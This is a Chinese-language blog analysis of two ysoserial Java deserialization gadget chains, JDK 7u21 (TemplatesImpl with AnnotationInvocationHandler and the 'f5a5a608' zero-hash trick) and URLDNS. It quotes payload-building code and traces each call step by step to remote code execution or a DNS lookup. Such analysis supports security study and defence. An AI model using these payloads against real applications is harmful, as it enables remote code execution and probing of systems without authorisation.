ysoserial分析【二】7u21和URLDNS

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  • hashCode绕过
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• URLDNS

7u21

7u21中利用了TemplatesImpl来执行命令，结合动态代理、AnnotationInvocationHandler、HashSet都成了gadget链。

先看一下调用栈，把ysoserial中的调用栈简化了一下

LinkedHashSet.readObject()
  LinkedHashSet.add()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        对_bytecodes属性的值(实例的字节码)进行实例化
                          RCE

其中关于TemplatsImpl类如何执行恶意代码的知识可以参考另一篇文章中对CommonsCollections2的分析，这里不再赘述。只要知道这里调用TemplatesImpl.getOutputProperties()可以执行恶意代码即可。

看一下ysoserial的poc

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//返回构造好的TemplatesImpl实例，实例的_bytecodes属性的值是执行恶意语句类的字节码

    String zeroHashCodeStr = "f5a5a608";
    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作为构造方法的第二个参数，map赋值给AnnotationInvocationHandler.membervalues属性

    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//为AIH创建代理

    LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父类是HashSet
    set.add(templates);//TemplatesImpl实例
    set.add(proxy);//AnnotationInvocationHandler实例的代理，AnnotationInvocationHandler的membervalues是TemplatesImple实例

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); //绑定到AnnotationInvocationHandler的那个map中的再添加一组键值对，value是TemplatesImpl实例。但是由于map中的第一组键值对的键也是zeroHashCodeStr，因此这里就是相当于把第一个键值对的value重新复赋值了。

    return set;//返回LinkedHashSet实例，用于序列化
}

总体来说就是返回一个LinkedHashSet实例，其中有两个元素，第一个元素是_bytecodes属性是恶意类字节码的TemplatesImpl实例。

第二个元素是AnnotationInvocationHandler的代理实例，这个AnnotationInvocationHandler实例在初始化时将一个HashMap实例传入，HashMap的第一个元素的key是TemplatesImpl实例。

看一下AnnotationInvocationHandler的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

也就是把这个HashMap实例赋值给了memberValues属性。

至此poc分析完毕，下面调试一下反序列化触发gadget链的流程。有感到模糊的地方可以参考以上的分析。

gadget链分析

首先由于poc return了LinkedHashSet实例用于序列化，因此这就是反序列化的入口。由于LinkedHashSet没有实现readObject()方法，因此跟进其父类：HashSet.readObject。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {

    s.defaultReadObject();

    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));//创建一个新map

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);//将反序列化出来的元素put到map中
    }
}

我们主要关注其对元素的操作。可以看到最后的一个for循环，变量e就是每个元素反序列化之后的实例。由于在构建poc时，LinkedHashSet被我们添加了两个元素，因此这里会进行两次for循环，第一次e是TemplatsImpl实例，第二次是Proxy实例

这里把两个元素反序列化之后会作为第一个参数调用map.put()，跟进一下这个方法

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

我们主要关注这里对第一个参数key的操作，因为我们的payload就在TemplatsImple和Proxy实例中，因此只有对key做某些操作才可能会触发我们的payload。

可以看到首先调用了hash(key)，跟进一下HashMap.hash()

final int hash(Object k) {
    ...

    h ^= k.hashCode();

    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

可以发现，这里调用了key的hashCode()方法。我们挨个看看两个key：TemplatesImpl和Proxy是如何调用hashCode()的。

由于TemplatesImpl并没有实现hashCode()方法，因此直接调用了基类Object.hashCode()。

public native int hashCode();

这是个native方法，也就是java调用非java代码编写的接口，这个hashCode()大概是通过计算对象的内存地址得到的。下面再看Proxy.hashCode()，由于动态代理的特性，调用Proxy的所有方法都会转而调用绑定在Proxy上的InvocationHandler的Invoke()方法。回顾最上面创建Proxy时，我们绑定的InvocationHandler是AnnotationInvocationHandler实例，因此这里会转而调用AnnotationInvocationHandler.invoke()，跟进之后发现，最底层调用了AnnotationInvocationHandler.hashCodeImple()方法

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

这里看的会比较绕，其实就是通过遍历this.memberValues.entrySet()中的所有键值对，来计算其中的key和value的hash，全部加起来之后返回最后的hash值。这里的this.memberValues属性就是我们在构建poc时传入的那个HashMap实例。

Proxy.hashCode()跟完了，没有什么危险操作。因此回到最开始的HashMap.put()中。

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

int hash = hash(key)这一步已经跟踪完了，继续往下看。可以看到for循环的条件是table[i] != null，这里的table在最后调用的addEntry()中进行了赋值，跟进一下

void addEntry(int hash, K key, V value, int bucketIndex) {
    if ((size >= threshold) && (null != table[bucketIndex])) {
        resize(2 * table.length);
        hash = (null != key) ? hash(key) : 0;
        bucketIndex = indexFor(hash, table.length);
    }

    createEntry(hash, key, value, bucketIndex);
}

void createEntry(int hash, K key, V value, int bucketIndex) {
    Entry<K,V> e = table[bucketIndex];
    table[bucketIndex] = new Entry<>(hash, key, value, e);
    size++;
}

可以发现，这里利用key、value和hash创建了一个Entry实例，然后添加到了table数组中。回到上面的put()方法，由于for循环处的table中没有数据，因此调用完addEntry()就直接return了。

接下来是第二次进入put()方法，这一次传入的k参数是Proxy实例。int hash = hash(key);我们已经跟进过了，仅需往下看，到了for循环。由于在上一次table中已经有了数据，因此这里会进入。然后就到了if条件

for (Entry<K,V> e = table[i]; e != null; e = e.next) {
    Object k;
    if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
        ...

这里的变量e就是在上次添加到table数组中的那个Entry对象。e.hash就是初始化时传入的hash的值，同理e.key也是初始化时传入的key。如果这里满足e.hash == hash且e.key != key时，就会调用key.equals(e.key)。

这些条件后面会回过头来说，先假设这些条件都可以满足。就会导致调用key.equals(e.key)，这里的key是Proxy，而e.key是上一次的TemplatesImpl实例。又由于调用了Proxy的方法，自动跳转到AnnotationInvocationHandler.invoke()。跟进一下

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        ...
    }
}

var1是代理类实例，var2是调用的方法，就是equals的Method对象，var3是调用的参数，也就是TemplatesImpl实例。注意上面的第一个if条件，equals方法的参数是Object类型，因此总体判定条件为True，从而以var3[0]为参数，调用this.equalsImpl()，跟进

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

这里的var1就是TemplatesImpl实例，而this.type在创建poc时就已经定义了

Reflections.setFieldValue(tempHandler, "type", Templates.class);

TemplatesImpl的正是实现了Templates接口，因此if条件中的this.type.isInstance(var1)是True，非True就是False，因此进入Else语句。首先调用了this.getMemberMethods()，跟进一下

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射获取this.type类/接口中声明的所有方法
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

由于this.type是Templates接口，因此看一下这个接口声明了哪些方法。

public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}

只声明了两个方法：newTransformer()和getOutputProperties()。

回到equalsImpl()，获取了this.type中声明的方法之后返回给变量var2。然后进入一个for循环，对这些方法进行遍历。先把方法名赋值给var6，跟进this.asOneOfUs()

private AnnotationInvocationHandler asOneOfUs(Object var1) {
    if (Proxy.isProxyClass(var1.getClass())) {
        ...
    }

    return null;
}

由于var1是TemplatesImpl实例，并不是Proxy，因此直接return null。回到上面，由于var9是null，因此进入else语句

var8 = var5.invoke(var1);

var5是上面返回的两个方法的其中一个，也就是newTransformer()和getOutputProperties()，var1是TemplatesImpl实例。这里通过反射调用TemplatesImpl的var5方法。

本文一开始就说了，调用TemplatesImpl.getOutputProperties()会导致TemplatesImpl._bytecodes的值(含有执行恶意代码的类的字节码)进行实例化，因此这里就是漏洞的触发点了。

hashCode绕过

至此漏洞已经成功触发，回到之前还有一个没有完成的点，也就是HashMap.put()方法中的那个if条件。

public V put(K key, V value) {
    ...
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            ...
}

也就是这里的e.hash == hash和e.key != key。由于key是Proxy实例，e.key是TemplatesImpl实例，因此第二个条件好满足，注意是第一个条件，如何保证两者的hash相同？

e.hash是由TemplatesImpl.hashCode()，由于TemplatesImpl没有定义这个方法，因此调用的是Object的方法，而正如之前说的，Object.hashCode()是通过对象的内存地址来计算hash的。

hash变量是Proxy.hashCode()返回的，也就是之前分析的AnnotationInvocationHandler.hashCodeImple()，回顾一下

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

这里的this.memberValues属性就是我们在构建poc时传入的那个HashMap实例，也就是(new HashMap()).put("f5a5a608", templates)，templates是TemplatesImpl实例。上面的hashCodeImple()主要是这句：

private int hashCodeImpl() {
    ...
        var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
    ...
    return var1;
}

而key是"f5a5a608"，value是TempIatesImpl实例，因此等价于

127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)

跟进一下memberValueHashCode

    private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.hashCode();
            ...

由于参数是TemplatesImpl对象，因此直接返回了TemplatesImpl.hashCode()，前面已经说了，其TemplatesImpl并没有重写hashCode，因此调用Object.hashCode()根据对象的内存地址生成了hash。至此两个hash的值已经计算完了。

第一个hash：
TemplatesImpl实例.hashCode()

第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()

这两个TemplatesImpl实例的内存地址实际上是一样的，因为在构建poc时，用的就是同一个TemplatesImpl实例：

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl实例

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");
    ...

    LinkedHashSet set = new LinkedHashSet();
    set.add(templates);//插入TemplatesImpl实例
    set.add(proxy);//Proxy代理

    ...

    map.put(zeroHashCodeStr, templates);//插入TemplatesImpl实例

    return set;
}

由于是同一个实例，因此内存地址相同，因此Object.hashCode()返回的hash也是相同的。回看一下两个hash

第一个hash：
TemplatesImpl实例.hashCode()

第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()

我们只需要计算一下"f5a5a608".hashCode()，这也是一个比较有意思的点，直接放到Debug中计算一下

结果是0！这个值好像是一哥们通过一个while循环遍历出来的。因此上面的第二个hash由于是127 * 0，因此也是0，从而两个hash变成了：

第一个hash：
TemplatesImpl实例.hashCode()

第二个hash
0 ^ TemplatesImpl实例.hashCode()

^是异或运算符，异或的规则是转换成二进制比较，相同为0，不同为1。由于是按二进制的位进行比较，0只有一位，也就是说如果一个数的最低位与0相同，那一位则为0，否则则为1，这个结果正好与条件一样，只有最低位是0时才会与0相同，从而返回0。如果最低位是1，与0不同，则返回1，也就是啥都没变呗。所以说任何数与0异或，结果都还是原来的值，因此上面这两个hash相等了。

至此几个条件全部满足，通过后面的key.equals(k)造成了代码执行。

因此整个的数据流大概是

HashSet.readObject()
    HashMap.put()
        TemplatesImpl.hashCode()
    HashMap.put()
        Proxy.hashCode()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.hashCodeImpl()
        Proxy.equals()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.equalsImpl()
                    TemplatesImpl.getOutputProperties()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    对_bytecodes属性的值(实例的字节码)进行实例化
                                        RCE

参考

JDK7u21反序列化漏洞分析

ysoserial payload分析

URLDNS

这个gadget会在反序列化时发送一个DNS请求，仅依赖于JDK，因此适用范围很广，应该是只要有反序列化入口就能用这个gadget打。

先看一下调用栈

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

这里就涉及到了URL类，这个类的hashCode()方法底层会调用URLStreamHandler.hashCode()发送一个DNS请求。

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);

    ...

在反序列化时，HashMap会自动对键计算hash，其中就调用了键的hashCode()方法，因此我们可以利用HashMap来触发URL.hashCode()：

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)

        ...
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);//
        }
    }
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

根据以上描述大概可以写出这样的poc

URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);

return ht;

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}

这里的SilentURLStreamHandler类重写了URLStreamHandler.getHostAddress()，这样可以保证在编译gadget时不会发送DNS请求。

然后我们把上面poc返回的类进行序列化，在反序列化并没有发送DNS请求。调试之后才发现，在反序列化调用URL.hashCode()由于已经存在hashCode且值不为-1，从而直接return掉了。

因此我们需要保证URL.hashCode的值为null或-1。我们可以在序列化时利用反射来修改URL的属性，如下

URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);

调用链如下

HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()